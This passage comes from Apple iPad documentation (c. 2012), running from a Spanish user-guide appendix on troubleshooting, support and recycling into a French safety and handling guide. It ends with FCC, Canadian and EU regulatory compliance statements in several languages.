pantalla conectada como un segundo monitor. Compruebe los ajustes y la documentación de la app en cuestión. • Para ver vídeos HD en alta resolución, utilice el adaptador digital VGA de Apple o un cable de vídeo por componentes. • Asegúrese de que el cable de vídeo está bien conectado por ambos extremos y que es compatible con los dispositivos. Si el iPad está conectado a un receptor o descodificador AV, pruebe a conectarlo directamente al televisor o proyector. • Asegúrese de que el televisor tiene seleccionada la entrada de vídeo adecuada, como HDMI o vídeo por componentes. • Si el vídeo no se ve, pulse el botón de inicio y, a continuación, desconecte y vuelva a conectar el cable e inténtelo de nuevo. Las tiendas iTunes Store y App Store Para utilizar las tiendas iTunes Store o App Store, el iPad debe disponer de conexión a Internet. Consulte Conexión a una red Wi-Fi en la página 117. La tienda iTunes Store o App Store no está disponible Para comprar contenidos de iTunes Store o App Store, necesita un ID de Apple. Si lo desea, puede configurar un ID de Apple en el iPad. Vaya a Ajustes > “iTunes Store y App Store” y, a continuación, pulse Conectarse. También puede crear un ID de Apple desde el ordenador. Para ello, abra iTunes y seleccione Store > “Crear cuenta”. Nota: Las tiendas iTunes Store y App Store no están disponibles en todos los países.Apéndice C Seguridad, manejo y soporte 144 Más información, servicio y soporte En la siguiente tabla se detalla dónde puede obtener más información sobre seguridad, software, asistencia técnica y soporte en relación con el iPad. Para obtener información acerca de Haga lo siguiente Cómo usar el iPad de forma segura Consulte Información importante sobre seguridad en la página 133. Servicio y soporte iPad, consejos, foros y descargas de software de Apple Visite www.apple.com/es/support/ipad. Las últimas novedades del iPad Vaya a www.apple.com/es/ipad. Gestión de su cuenta de ID de Apple Vaya a https://appleid.apple.com/es_ES, https://appleid.apple.com/es_LA o https://appleid.apple.com/es_MX Cómo usar iCloud Visite www.apple.com/es/icloud. Para obtener información de soporte, visite www.apple.com/mx/support/icloud, o www.apple.com/la/support/icloud. Cómo usar iTunes Abra iTunes y seleccione Ayuda > Ayuda iTunes. Para acceder a las lecciones de iTunes en Internet (no disponibles en todos los países), visite www.apple.com/es/support/itunes. Uso de otras apps de Apple iOS Visite www.apple.com/es/support/ios. Cómo encontrar el número de serie o IMEI de su iPad Puede encontrar el número de serie o el código IMEI (identidad internacional de equipo móvil) del iPad en la caja del iPad. O bien en el iPad, en Ajustes > General > Información. Para obtener más información, vaya a http://support.apple.com/kb/HT4061?viewlocale=es_ES. Obtención de servicios técnicos en garantía En primer lugar, siga los consejos de este manual. A continuación, visite www.apple.com/es/support/ipad. Visualizar la información de regulación del iPad En el iPad, vaya a Ajustes > General > Acerca de > Legal > Regulaciones. Servicio de sustitución de la batería Vaya a www.apple.com/es/batteries/replacements.html, www.apple.com/mx/batteries/replacements.html o www.apple.com/la/batteries/replacements.html. Uso del iPad en un entorno empresarial Vaya a www.apple.com/es/ipad/business. Información sobre residuos y reciclaje El iPad debe desecharse de acuerdo con la normativa local aplicable. Como el iPad contiene una batería, es necesario desecharlo separadamente del resto de los residuos domésticos. Cuando el iPad alcance el final de su vida útil, póngase en contacto con Apple o con las autoridades locales para obtener información con respecto a las opciones de reciclaje. Para obtener información sobre el programa de reciclaje de Apple, vaya a www.apple.com/es/recycling, www.apple.com/mx/recycling o www.apple.com/la/recycling. Sustitución de la batería: La batería de iones de litio del iPad solo debe cambiarla Apple o un proveedor de servicios Apple autorizado, y debe reciclarse o eliminarse separadamente de la basura normal. Para obtener información sobre el reciclaje y sustitución de baterías, vaya a to www.apple.com/es/batteries/replacements.html, www.apple.com/mx/batteries/replacements.html o www.apple.com/la/batteries/replacements.html.Apéndice C Seguridad, manejo y soporte 145 Eficiencia del cargador de la batería Türkiye Türkiye Cumhuriyeti: EEE Yönetmeliğine Uygundur. Unión Europea: información sobre eliminación de baterías y materiales electrónicos El símbolo anterior indica que, de acuerdo con la normativa local, este producto y/o su batería no deben desecharse junto con los residuos domésticos. Cuando llegue al final de su vida útil, llévelo a los puntos de recogida estipulados por la administración local. La recogida selectiva y el reciclaje del producto y/o de su batería en el momento de desecharlo contribuirán a preservar los recursos naturales y a proteger la salud humana y el medio ambiente. Union Européenne—informations sur l’élimination: Le symbole ci-dessus signifie que, conformé- ment aux lois et réglementations locales, vous devez jeter votre produit et/ou sa batterie séparément des ordures ménagères. Lorsque ce produit arrive en fin de vie, apportez-le à un point de collecte désigné par les autorités locales. La collecte séparée et le recyclage de votre produit et/ou de sa batterie lors de sa mise au rebut aideront à préserver les ressources naturelles et à s’assurer qu’il est recyclé de manière à protéger la santé humaine et l’environnement. Europäische Union—Informationen zur Entsorgung: Das oben aufgeführte Symbol weist darauf hin, dass dieses Produkt und/oder die damit verwendete Batterie den geltenden gesetzlichen Vorschriften entsprechend und vom Hausmüll getrennt entsorgt werden muss. Geben Sie dieses Produkt zur Entsorgung bei einer offiziellen Sammelstelle ab. Durch getrenntes Sammeln und Recycling werden die Rohstoffreserven geschont und es ist sichergestellt, dass beim Recycling des Produkts und/oder der Batterie alle Bestimmungen zum Schutz von Gesundheit und Umwelt eingehalten werden. Unione Europea—informazioni per lo smaltimento: Il simbolo qui sopra significa che, in base alle leggi e alle normative locali, il prodotto e/o la sua batteria dovrebbero essere riciclati separatamente dai rifiuti domestici. Quando il prodotto diventa inutilizzabile, portalo nel punto di raccolta stabilito dalle autorità locali. La raccolta separata e il riciclaggio del prodotto e/o della sua batteria al momento dello smaltimento aiutano a conservare le risorse naturali e assicurano che il riciclaggio avvenga nel rispetto della salute umana e dell’ambiente. Europeiska unionen—information om kassering: Symbolen ovan betyder att produkten och/ eller dess batteri enligt lokala lagar och bestämmelser inte får kastas tillsammans med hushållsavfallet. När produkten har tjänat ut måste den tas till en återvinningsstation som utsetts av lokala myndigheter. Genom att låta den uttjänta produkten och/eller dess batteri tas om hand för återvinning hjälper du till att spara naturresurser och skydda hälsa och miljö.Apéndice C Seguridad, manejo y soporte 146 Brasil—Informações sobre descarte e reciclagem O símbolo indica que este produto e/ou sua bateria não devem ser descartadas no lixo doméstico. Quando decidir descartar este produto e/ou sua bateria, faça-o de acordo com as leis e diretrizes ambientais locais. Para informações sobre o programa de reciclagem da Apple, pontos de coleta e telefone de informações, visite www.apple.com/br/environment. Apple y el medio ambiente En Apple somos conscientes de nuestra responsabilidad en la minimización del impacto ambiental de nuestras operaciones y nuestros productos. Para obtener más información, visite www.apple.com/es/environment.KApple Inc. © 2012 Apple Inc. Todos los derechos reservados. Apple, el logotipo de Apple, AirPlay, AirPort, AirPort Express, AirPort Extreme, Aperture, Apple TV, FaceTime, Finder, iBooks, iCal, iLife, iPad, iPhone, iPhoto, iPod, iPod touch, iSight, iTunes, iTunes Extras, Keynote, Mac, Mac OS, Numbers, OS X, Pages, Photo Booth, Safari, Siri, Smart Cover, Spotlight y Time Capsule son marcas comerciales de Apple Inc., registradas en EE UU y en otros países. AirPrint, EarPods, Flyover, Acceso Guiado, iMessage y MultiTouch son marcas comerciales de Apple Inc. Apple Store, Genius, iAd, iCloud, iTunes Extras, iTunes Plus y iTunes Store son marcas de servicio de Apple Inc., registradas en EE UU y en otros países. App Store, iBookstore y iTunes Match son marcas de servicio de Apple Inc. Adobe y Photoshop son marcas comerciales o marcas comerciales registradas de Adobe Systems Incorporated en EE UU y en otros países. La palabra Bluetooth®, la marca y sus logotipos son marcas comerciales registradas propiedad de Bluetooth SIG, Inc., y cualquier utilización de tales marcas por parte de Apple Inc. se realiza bajo licencia. IOS es una marca comercial o una marca registrada de Cisco en EE UU y en otros países y se utiliza bajo licencia. Es posible que algunas apps no estén disponibles en todas las zonas. La disponibilidad de las apps está sujeta a variaciones. Contenido disponible en iTunes. La disponibilidad de los títulos está sujeta a variaciones. Otros nombres de productos y empresas aquí mencionados pueden ser marcas comerciales de sus respectivos titulares. La mención de productos de terceras partes tiene únicamente propósitos informativos y no constituye aprobación ni recomendación. Apple declina toda responsabilidad referente al uso o el funcionamiento de estos productos. Todos los acuerdos, disposiciones o garantías, en caso de que las hubiera, se establecerán directamente entre los proveedores y los usuarios potenciales. En la realización de este manual se ha puesto el máximo cuidado para asegurar la exactitud de la información que en él aparece. Apple no se responsabiliza de los posibles errores de impresión o copia. E019-2401/09-2012 Guide d’informations importantes sur le produit iPadCe Guide d’informations importantes sur le produit contient des informations relatives à la sécurité, à la manipulation, à l’élimination et au recyclage, à la réglementation et à la licence logicielle, ainsi que la garantie limitée d’un an pour l’iPad. Vous trouverez d’autres informations sur l’environnement dans le Guide de l’utilisateur de l’iPad à l’adresse suivante : support.apple.com/manuals/ ipad/fr_FR/ ±Afin d’éviter toute blessure, consultez les informations relatives à la sécurité ci-dessous, ainsi que le mode d’emploi, avant d’utiliser l’iPad. Pour prendre connaissance des instructions d’utilisation détaillées, lisez le Guide de l’utilisateur de l’iPad sur votre iPad en consultant help. apple.com/ipad ou à l’aide du signet Guide de l’utilisateur de l’iPad dans Safari. Une version téléchargeable du Guide de l’utilisateur de l’iPad et la plus récente version de ce Guide d’informations importantes sur le produit sont disponibles à la page : support.apple.com/manuals/ ipad/fr_FR/ Informations importantes concernant la sécurité et la manipulation ATTENTION :  le fait de ne pas suivre les présentes instructions de sécurité peut provoquer un incendie, une électrocution ou d’autres blessures, ainsi que des dégâts à l’iPad et d’autres propriétés. Transport et manipulation de l’iPad L’iPad contient des composants fragiles. Ne laissez pas tomber, ne désassemblez pas, n’ouvrez pas, n’écrasez pas, ne tordez pas, ne déformez pas, ne perforez pas, ne réduisez pas en morceaux, ne mettez pas dans un four à micro-ondes, ne mettez pas au feu, ne peignez pas ou n’insérez pas de corps étranger dans l’iPad. Protection contre l’eau et l’humidité N’utilisez pas l’iPad sous la pluie, à proximité d’un évier ou de tout autre lieu humide. Veillez à ne pas renverser d’aliments ou de liquides sur l’iPad. Si l’iPad est mouillé, débranchez tous les câbles, éteignez-le (appuyez sur le bouton Marche/Veille puis faites glisser le curseur à l’écran) avant de procéder au nettoyage. Laissez-le ensuite sécher entièrement avant de le rallumer.iPad N’essayez jamais de sécher l’iPad à l’aide d’une source externe de chaleur telle qu’un four à micro-ondes ou un sèche-cheveux. Un iPad endommagé après avoir été exposé à des liquides est inutilisable. Réparation ou modification de l’iPad N’essayez jamais de réparer ou de modifier l’iPad vousmême. Le démontage de l’iPad peut provoquer des dégâts non couverts par la garantie. L’iPad ne contient aucune pièce manipulable par l’utilisateur. La réparation ne doit être réalisée que par un fournisseur de service pour matériel agréé Apple. Si l’iPad a été immergé dans de l’eau ou perforé, ou qu’il a subi une chute grave, ne vous en servez pas avant de l’avoir apporté à un Centre de Services Agréé Apple. Pour en savoir plus sur la réparation, sélectionnez Aide iPad dans le menu Aide d’iTunes ou consultez la page : www.apple.com/fr/support/ ipad/service Remplacement des batteries La batterie rechargeable de l’iPad ne doit être remplacée que par Apple ou un Centre de Services Agréé Apple. Pour en savoir plus sur les services de remplacement de la batterie, consultez la page : http://www.apple.com/fr/batteries/replacements.html Recharge de l’iPad Pour charger l’iPad, utilisez uniquement le câble Apple Dock Connector vers USB avec un adaptateur secteur Apple USB Power Adapter 10 W, ou un port USB à forte alimentation sur un autre dispositif conforme à la norme USB 2.0, un autre produit ou accessoire de marque Apple conçu pour fonctionner avec l’iPad, ou un accessoire tiers dont l’utilisation est certifiée par le logo Apple « Works with iPad ». Avant d’utiliser tout produit ou accessoire avec l’iPad, consultez l’ensemble des consignes de sécurité le concernant. Apple n’est responsable ni du fonctionnement d’accessoires tiers, ni de leur conformité aux normes de réglementation et de sécurité. Lorsque vous utilisez l’adaptateur secteur Apple USB Power Adapter 10 W pour recharger votre iPad, assurez-vous qu’il est correctement assemblé avant de le brancher dans une prise de courant. Insérez ensuite fermement l’adaptateur secteur Apple USB Power Adapter 10 W dans la prise de courant. Ne branchez ou débranchez en aucun cas l’adaptateur secteur Apple USB Power Adapter 10 W lorsque vous avez les mains mouillées. L’adaptateur secteur Apple USB Power Adapter 10 W peut chauffer lors de son usage normal. Veillez à toujours prévoir une ventilation adéquate autour de l’adaptateur secteur Apple USB Power Adapter 10 W et à manipuler celui-ci avec précaution. Débranchez l’adaptateur secteur dans les situations suivantes :  Le câble d’alimentation ou la prise est usée ou abîmée.  L’adaptateur est exposé à la pluie, à des liquides ou à une humidité excessive.  Le boîtier de l’adaptateur a été abîmé.  Vous avez l’impression que l’adaptateur a besoin d’être réparé ou révisé.  Vous souhaitez nettoyer l’adaptateur. Prévention de la diminution de l’acuité auditive Il existe des risques de perte d’audition irréversibles si le récepteur, les écouteurs ou le combiné sont réglés à pleine puissance. Utilisez uniquement un récepteur, des écouteurs ou un combiné compatibles avec votre appareil. Allumez votre appareil et vérifiez le volume avant de porter tout dispositif à vos oreilles. Avec le temps, vous pouvez vous habituer à un volume plus élevé qui vous semble normal mais est susceptible d’endommager votre ouïe. Si vous entendez des bourdonnements ou un son étouffé, arrêtez l’écoute et faites-vous ausculter par un spécialiste de l’audition. Plus le volume est élevé, plus votre audition risque d’être endommagée rapidement. Les spécialistes de l’audition donnent les recommandations suivantes :  Limitez la durée d’utilisation à volume élevé des écouteurs, du récepteur ou du combiné.  Évitez d’augmenter le volume pour couvrir un environnement bruyant.  Baissez le volume si vous n’entendez pas les gens parler auprès de vous. Pour plus de renseignements sur la manière de régler un volume maximum sur l’iPad, consultez le Guide de l’utilisateur de l’iPad. Conduite en toute sécurité L’utilisation de l’iPad seul ou avec des écouteurs (même dans le cas d’une utilisation avec une seule oreille) lors de la conduite d’un véhicule ou de l’utilisation d’une bicyclette n’est pas recommandée et est illégale dans certaines zones géographiques. Consultez et respectez les lois et réglementations applicables en matière d’utilisation de dispositifs mobiles comme l’iPad à l’endroit où vous conduisez. Soyez vigilant et attentif lors de la conduite d’un véhicule ou d’une bicyclette. Si vous décidez d’utiliser l’iPad pendant que vous conduisez, n’oubliez pas les consignes suivantes :  Prêtez toute votre attention à la conduite et à la route. L’utilisation d’un dispositif mobile lors de la conduite peut vous distraire de celle-ci. Si vous avez du mal à vous concentrer alors que vous conduisez n’importe quel type de véhicule, que vous utilisez une bicyclette ou que vous réalisez toute activité qui demande votre attention complète, arrêtez-vous sur le bord de la route si les conditions de conduite l’exigent.  Lorsque vous conduisez, n’envoyez pas de courriers électroniques, ne prenez pas de notes, ne recherchez pas de numéro de téléphone et ne réalisez aucune autre activité qui sollicite votre concentration. La rédaction ou la lecture de courrier électronique, la prise rapide d’une liste de tâches ou la consultation de votre carnet d’adresses détourne votre attention de votre responsabilité principale, à savoir conduire en toute sécurité. Localisation en sécurité Si votre iPad comprend des applications fournissant des cartes, des indications de points cardinaux, des directions et une assistance à la navigation géodépendante, ces applications ne doivent être utilisées que pour une simple aide à la navigation et ne sauraient être utilisées pour déterminer avec précision des lieux, la proximité à un lieu, une distance ou une direction. Les cartes, la boussole numérique, les directions et les applications basées sur l’emplacement fournies par Apple se basent sur des données recueillies et des services offerts par des tierces parties. Ces services de données sont susceptibles de faire l’objet de modifications et ne sont pas forcément disponibles partout. Les cartes, les points cardinaux, les directions ou les renseignements basés sur l’emplacement peuvent donc se révéler indisponibles, inexacts ou incomplets. L’iPad contient une boussole intégrée dans le coin supérieur droit de liPad. Les indications de cette boussole peuvent être faussées par des interférences magnétiques ou météorologiques. Ne vous fiez jamais uniquement à cette boussole numérique pour déterminer une direction. Comparez les renseignements fournis sur l’iPad avec votre environnement et reportez-vous aux panneaux indicateurs pour résoudre toute différence existante. Véhicules équipés d’un coussin gonflable de sécurité (airbag) Un coussin de sécurité (également connus sous le nom d’« Airbag ») se gonfle avec une grande force. Ne stockez pas l’iPad, ni aucun de ses accessoires, dans la zone située au-dessus du coussin gonflable ou dans sa zone de déploiement. Épilepsie, malaises et fatigue oculaire Certaines personnes, représentant un faible pourcentage de la population, peuvent subir des malaises ou des crises (même si elles n’avaient jamais présenté auparavant de tels symptômes) lors de l’exposition à des stimulations lumineuses et notamment en jouant à des jeux vidéo ou en regardant des vidéos. Si vous avez déjà subi des crises d’épilepsie ou des malaises ou que vous avez des antécédents familiaux en la matière, vous devez consulter un médecin avant de jouer à des jeux vidéo (le cas échéant) ou de visualiser des vidéos sur votre iPad. Cessez d’utiliser l’iPad et consultez un médecin si vous ressentez des maux de tête ou si vous souffrez d’un malaise, d’une crise d’épilepsie, d’une convulsion, d’une contraction musculaire ou d’une gêne oculaire, de la perte de perception, de mouvements involontaires ou d’une perte de l’orientation. Afin de réduire les risques de maux de tête, de malaises, de crises d’épilepsie et de fatigue oculaire, évitez l’usage prolongé de l’iPad, maintenez-l’iPad à distance de vos yeux, utilisez-le dans une pièce bien éclairée et faites des pauses régulières. Parties en verre La partie extérieure de l’écran de l’iPad est faite de verre. Ce verre est susceptible de se briser en cas de chute de l’iPad sur une surface dure ou d’impact important. Si le verre se fendille ou se craquèle, ne le touchez pas et n’essayez pas de retirer les éclats ; arrêtez d’utiliser l’iPad. Le bris de verre consécutif à un mauvais usage ou traitement n’est pas couvert par la garantie. N’utilisez pas l’iPad tant que le verre n’a pas été remplacé par Apple ou un Centre de Services Agréé Apple. Risques d’étouffement L’iPad contient de petits composants, ce qui peut représenter un risque d’étouffement pour les enfants en bas âge. Gardez l’iPad et ses accessoires à l’écart des jeunes enfants. Mouvements répétitifs Lorsque vous effectuez des tâches répétitives telles que taper du texte ou jouer sur votre iPad, vous êtes susceptible d’éprouver une gêne occasionnelle dans les mains, les bras, les épaules, le cou ou d’autres parties du corps. Faites des pauses régulières et, si la sensation d’inconfort continue à se faire sentir pendant ou après l’utilisation, arrêtez l’utilisation et consultez un médecin. Prise en main de l’iPad Vous pouvez tenir et utiliser l’iPad de nombreuses manières différentes. Il est important de trouver une posture confortable lorsque vous utilisez l’iPad, et de prendre des pauses fréquentes. Utilisez votre cuisse, une table, un boîtier ou une station d’accueil pour soutenir l’iPad lorsque vous vous en servez. Atmosphères potentiellement explosives Éteignez l’iPad (maintenez le bouton Marche/Veille enfoncé, puis faites glisser le curseur à l’écran) lorsque vous vous trouvez dans toute atmosphère présentant des risques d’explosion. Ne rechargez pas l’iPad et respectez toutes les pancartes et consignes. Toute étincelle dans une telle zone pourrait provoquer une explosion ou un incendie et résulter en une blessure grave, voire la mort. Les zones présentant une atmosphère potentiellement explosive sont souvent, mais pas toujours, indiquées clairement. les zones de remplissage de combustible (telles que les stationsservices), les zones en dessous du niveau du pont sur les bateaux, les sites de transfert ou de stockage de combustibles ou de produits chimiques, les véhicules utilisant du gaz de pétrole liquéfié (notamment du propane ou du butane), les zones où l’air contient des produits chimiques ou des particules (telles que grains, poussières ou poudres métalliques) et toute autre zone où il vous serait normalement conseillé d’éteindre le moteur de votre véhicule. Utilisation des connecteurs et des ports Ne forcez jamais sur un connecteur pour le faire entrer dans un port. Vérifiez l’absence de toute obturation du port. Si le connecteur et le port ne se connectent pas facilement, c’est qu’ils ne coïncident probablement pas. Assurez-vous que le connecteur correspond au port et que vous avez correctement placé le connecteur par rapport au port. Maintien de l’iPad dans une gamme de températures acceptables Utilisez l’iPad uniquement dans un endroit où la température est comprise entre 0 ºC et 35 ºC. Des températures élevées ou basses peuvent réduire temporairement la durée de vie de la batterie ou provoquer un arrêt momentané du fonctionnement de l’iPad. Évitez les changements brusques de température ou d’humidité lors de l’utilisation de l’iPad, car de la condensation peut se former sur l’iPad ou à l’intérieur. Conservez l’iPad à des températures comprises entre -20 ºC et 45 ºC. Ne laissez pas l’iPad dans une voiture en stationnement, car la température pourrait dépasser cette plage de températures. Lorsque vous utilisez l’iPad ou rechargez sa batterie, il est normal que l’iPad chauffe. La partie extérieure de l’iPad agit en tant que surface de refroidissement qui transfère la chaleur de l’intérieur de l’unité vers l’air qui l’entoure. Entretien de l’extérieur de l’iPad Manipulez votre iPad avec précaution pour conserver sa finition. Si vous avez peur de le rayer ou de le griffer, vous pouvez utiliser l’un des nombreux étuis de transport vendus séparément. Pour nettoyer l’iPad, débranchez tous les câbles et éteignez l’iPad (appuyez sur le bouton Marche/Veille et maintenez-le enfoncé puis faites glisser le curseur à l’écran). Utilisez ensuite un tissu doux, légèrement humide et sans peluche. Évitez toute pénétration d’humidité dans les orifices de l’appareil. N’utilisez pas de produit lave-vitre, de détergent domestique, d’aérosol, de solvant, d’alcool, d’ammoniac ou de produit abrasif pour nettoyer l’iPad. L’écran de l’iPad dispose d’une protection oléophobe. Il vous suffit d’essuyer l’iPad avec un chiffon doux et non pelucheux pour retirer les corps gras déposés par vos mains. Les propriétés oléophobes de ce film diminuent avec le temps et une utilisation normale. Évitez de frotter l’écran avec un matériau abrasif, afin de ne pas affecter davantage ses propriétés oléophobes et de ne pas le rayer.Exposition à de l’énergie de radiofréquences L’iPad est doté d’émetteurs et de récepteurs radio. Lorsqu’il est allumé, l’iPad envoie et reçoit de l’énergie de radiofréquences (RF) par le biais de son antenne. Les antennes Wi-Fi et Bluetooth® se trouvent derrière le logo Apple. L’iPad a été testé et il répond aux directives d’exposition DAS en matière de fonctionnement Wi-Fi et Bluetooth. Une antenne cellulaire se trouve sur le bord supérieur de l’iPad Wi-Fi + 3G, à l’opposé du bouton principal qui se trouve en bas. Pour optimiser les performances du dispositif mobile et vous assurer que toute exposition humaine à de l’énergie RF ne dépasse pas les directives de la FCC, de l’IC et de l’Union européenne, respectez toujours les instructions et précautions suivantes : Écartez l’appareil doté de l’antenne cellulaire (située sous le bord noir en haut de l’appareil) de votre corps et d’autres objets. L’iPad est conçu et fabriqué en accord avec les limites d’exposition à l’énergie RF définies par la FCC (Federal Communications Commission) aux États-Unis, Industry Canada (IC) au Canada et les entités régulatrices du Japon, de l’Union européenne et d’autres pays. L’exposition standard est calculée selon une unité de mesure nommée le débit d’absorption spécifique ou DAS. La limite de DAS applicable à l’iPad est définie à 1,6 watt par kilogramme (W/kg) par la FCC et par IC et à 2,0 W/ kg par le Conseil de l’Union européenne. Les tests de DAS sont réalisés en utilisant des positions de fonctionnement standard précisées par ces agences, avec l’iPad émettant dans toutes les bandes de fréquence à son plus haut niveau de puissance certifié. Bien que le DAS soit déterminé au plus haut niveau de puissance certifié dans chaque bande de fréquence, le niveau de DAS effectif de l’iPad en cours de fonctionnement peut être nettement au-dessous de la valeur maximale, car l’iPad ajuste en partie sa puissance d’émission en fonction de son orientation et de la proximité du réseau sans fil et de son orientation. De manière générale, plus vous êtes proche d’une station cellulaire de base, plus le niveau de puissance cellulaire émise est faible. L’iPad a été testé 1 et il répond aux directives d’exposition RF de la FCC, de l’IC et de l’Union 1 L’appareil a été testé par Compliance Certification Services, Fremont, Californie, conformément aux normes et procédures de mesures indiquées dans les documents FCC OET Bulletin 65, Supplément C (Édition 01-01) et IEEE 1528-2003 et Canada RSS 102. L’iPad est conforme à la Recommandation du Conseil Européen du 12 juillet 1999 relative à la limitation de l’exposition du public aux champs électromagnétiques [1999/519/EC]. européenne en matière de fonctionnement cellulaire. Selon des tests réalisés avec contact corporel direct, la valeur DAS maximale de l’iPad dans chaque bande de fréquence est la suivante : DAS FCC et IC Bande de fréquence (MHz) Limite de DAS FCC et IC 1g (W/kg) Valeur maximale (W/kg) Modèle A1416 2 400-2 483,5 1,6 1,15 5150-5250 1,6 0,52 5250-5350 1,6 1,16 5500-5700 1,6 1,19 5725-5850 1,6 1,19 DAS UE Bande Bande de fréquence (MHz) Limite de DAS UE 10g (W/kg) Valeur maximale (W/kg) Modèle A1416 Wi-Fi 2,4 GHz 2400-2483,5 2,0 0,52 Wi-Fi 5 GHz 5150-5350 2,0 0,26 5470-5725 2,0 0,46 Vous pouvez réduire encore plus votre exposition en limitant votre temps d’utilisation de l’iPad en mode sans fil, car la durée est un facteur dans l’exposition reçue par une personne, et en écartant plus l’iPad de votre corps, car le niveau d’exposition diminue de manière considérable avec la distance. Informations complémentaires Pour plus de renseignements mis à disposition par la FCC à propos de l’exposition aux RF, consultez la page www.fcc.gov/oet/rfsafety La FCC et la FDA (Food and Drug Administration) des États-Unis disposent également d’un site web destiné au public à l’adresse www.fda.gov/RadiationEmittingProducts/default.htm pour répondre aux demandes concernant la sécurité des téléphones portables. Consultez-le régulièrement pour être au courant des mises à jour. Pour en savoir plus sur la recherche scientifique liée à l’exposition aux RF, consultez la base de données maintenue par l’Organisation Mondiale de la Santé à l’adresse suivante : www.who.int/emf (en anglais)Interférences de radiofréquences Les émissions de radiofréquences des appareils électroniques peuvent perturber le fonctionnement d’autres appareils électroniques et engendrer des dysfonctionnements. Bien que l’iPad ait été conçu, testé et fabriqué en accord notamment avec les réglementations sur les émissions de radiofréquences des États-Unis, du Canada, de l’Union européenne et du Japon, les émetteurs sans fil et circuits électriques de l’iPad peuvent causer des interférences avec d’autres équipements électroniques. Nous vous recommandons donc de prendre les précautions suivantes : Avion L’utilisation de l’iPad peut être interdite dans les avions. Pour plus de renseignements sur l’utilisation du mode Avion pour désactiver les émetteurs sans fil de l’iPad, consultez le Guide de l’utilisateur de l’iPad. Véhicules Les émissions de radiofréquences de l’iPad peuvent affecter le système électronique des véhicules motorisés. En ce qui concerne votre véhicule, vérifiez avec le constructeur ou son représentant. Stimulateurs cardiaques L’association HMA des fabricants du secteur de la santé recommande de maintenir une séparation minimale de 15 cm entre tout téléphone sans fil portable et un stimulateur cardiaque afin d’éviter tout risque d’interférences avec celui-ci. Les personnes portant un stimulateur cardiaque :  doivent toujours conserver l’iPad à plus de 15 cm de leur stimulateur lorsque l’appareil sans fil est allumé. Si vous avez des raisons de suspecter la présence d’interférences, éteignez immédiatement l’iPad (maintenez le bouton Marche/Veille enfoncé, puis faites glisser le curseur à l’écran). Autres dispositifs médicaux Si vous utilisez tout autre dispositif médical personnel, consultez son fabricant ou votre médecin afin de déterminer s’il est blindé de manière adéquate contre les émissions de radiofréquences de l’iPad. Établissements de santé Les hôpitaux et établissements de santé peuvent utiliser des équipements particulièrement sensibles aux émissions de radiofréquences extérieures. Éteignez l’iPad lorsque le personnel ou des panneaux vous y invitent. Zones à explosion et sites signalés Pour ne pas interférer avec les opérations d’explosion, éteignez l’iPad dans les « zones à explosion » ou dans les zones indiquant d’arrêter les dispositifs radio. Respectez toutes les pancartes et toutes les consignes. Certification and Compliance See iPad for the certification and compliance marks specific to that device. To view, choose Settings > General > About > Regulatory. Australia New Zealand Model A1416 U.S. Model A1416 FCC ID: BCGA1416 Canada Model A1416 IC: 579C–A1416 Meets ICES-003 EU Model A1416 Japan Singapore Important:  Changes or modifications to this product not authorized by Apple could void the EMC and wireless compliance and negate your authority to operate the product. This product has demonstrated EMC compliance under conditions that included the use of compliant peripheral devices and shielded cables between system components. It is important that you use compliant peripheral devices and shielded cables between system components to reduce the possibility of causing interference to radios, televisions, and other electronic devices. FCC Compliance Statement This device complies with part 15 of the FCC rules. Operation is subject to the following two conditions: (1) this device may not cause harmful interference, and (2) this device must accept any interference received, including interference that may cause undesired operation. Note: This equipment has been tested and found to comply with the limits for a Class B digital device, pursuant to part 15 of the FCC Rules. These limits are designed to provide reasonable protection against harmful interference in a residential installation. This equipment generates, uses and can radiate radio frequency energy and, if not installed and used in accordance with the instructions, may cause harmful interference to radio communications. However, there is no guarantee that interference will not occur in a particular installation. If this equipment does cause harmful interference to radio or television reception, which can be determined by turning the equipment off and on, the user is encouraged to try to correct the interference by one or more of the following measures:  Reorient or relocate the receiving antenna.  Increase the separation between the equipment and receiver.  Connect the equipment to an outlet on a circuit different from that to which the receiver is connected.  Consult the dealer or an experienced radio/TV technician for help. Wireless Radio Use: This device is restricted to indoor use when operating in the 5.15 to 5.25 GHz frequency band. Cet appareil doit être utilisé à l’intérieur. Canadian Compliance Statement Complies with the Canadian ICES-003 Class B specifications. Cet appareil numérique de la Classe B est conforme à la norme NMB-003 du Canada. This device complies with RSS 210 of Industry Canada. This Class B device meets all the requirements of the Canadian interference-causing equipment regulations. Cet appareil numérique de la Classe B respecte toutes les exigences du Règlement sur le matériel brouilleur du Canada. This device complies with Industry Canada licenseexempt RSS standard(s). Operation is subject to the following two conditions: (1) this device may not cause interference, and (2) this device must accept any interference, including interference that may cause undesired operation of the device. Cet appareil est conforme aux normes CNR exemptes de licence d’Industrie Canada. Le fonctionnement est soumis aux deux conditions suivantes : (1) cet appareil ne doit pas provoquer d’interférences et (2) cet appareil doit accepter toute interférence, y compris celles susceptibles de provoquer un fonctionnement non souhaité de l’appareil. European Community Compliance Statement The equipment complies with the RF Exposure Requirement 1999/519/EC, Council Recommendation of 12 July 1999 on the limitation of exposure of the general public to electromagnetic fields (0–300 GHz). This wireless device complies with the R&TTE Directive. EU Declaration of Conformity Български  Apple Inc. декларира, че това устройство с клетъчен,Wi-Fi и Bluetooth предавател е в съответствие със съществените изисквания и другите приложими правила на Директива 1999/5/ЕС. Česky  Společnost Apple Inc. tímto prohlašuje, že toto mobilní zařízení s technologiíWi-Fi a Bluetooth vyhovuje základním požadavkům a dalším příslušným ustanovením směrnice 1999/5/ES. Dansk  Undertegnede Apple Inc. erklærer herved, at følgende udstyr cellular,Wi-Fi og Bluetooth overholder de væsentlige krav og øvrige relevante krav i direktiv 1999/5/EF. Deutsch  Hiermit erklärt Apple Inc., dass sich Mobiltelefon,Wi-Fi und Bluetooth in Übereinstimmung mit den grundlegenden Anforderungen und den übrigen einschlägigen Bestimmungen der Richtlinie 1999/5/EG befinden. Eesti  Käesolevaga kinnitab Apple Inc., et see mobiil-,Wi-Fi- ja Bluetooth-seade vastab direktiivi 1999/5/EÜ põhinõuetele ja nimetatud direktiivist tulenevatele teistele asjakohastele sätetele. English  Hereby, Apple Inc. declares that this cellular, Wi-Fi, and Bluetooth device is in compliance with the essential requirements and other relevant provisions of Directive 1999/5/EC. Español  Por medio de la presente Apple Inc. declara que este dispositivo celular,Wi-Fi y Bluetooth cumple con los requisitos esenciales y cualesquiera otras disposiciones aplicables o exigibles de la Directiva 1999/5/CE. Ελληνικά  Mε την παρούσα, η Apple Inc. δηλώνει ότι αυτή η συσκευή κινητού,Wi-Fi και Bluetooth συμμορφώνεται προς τις βασικές 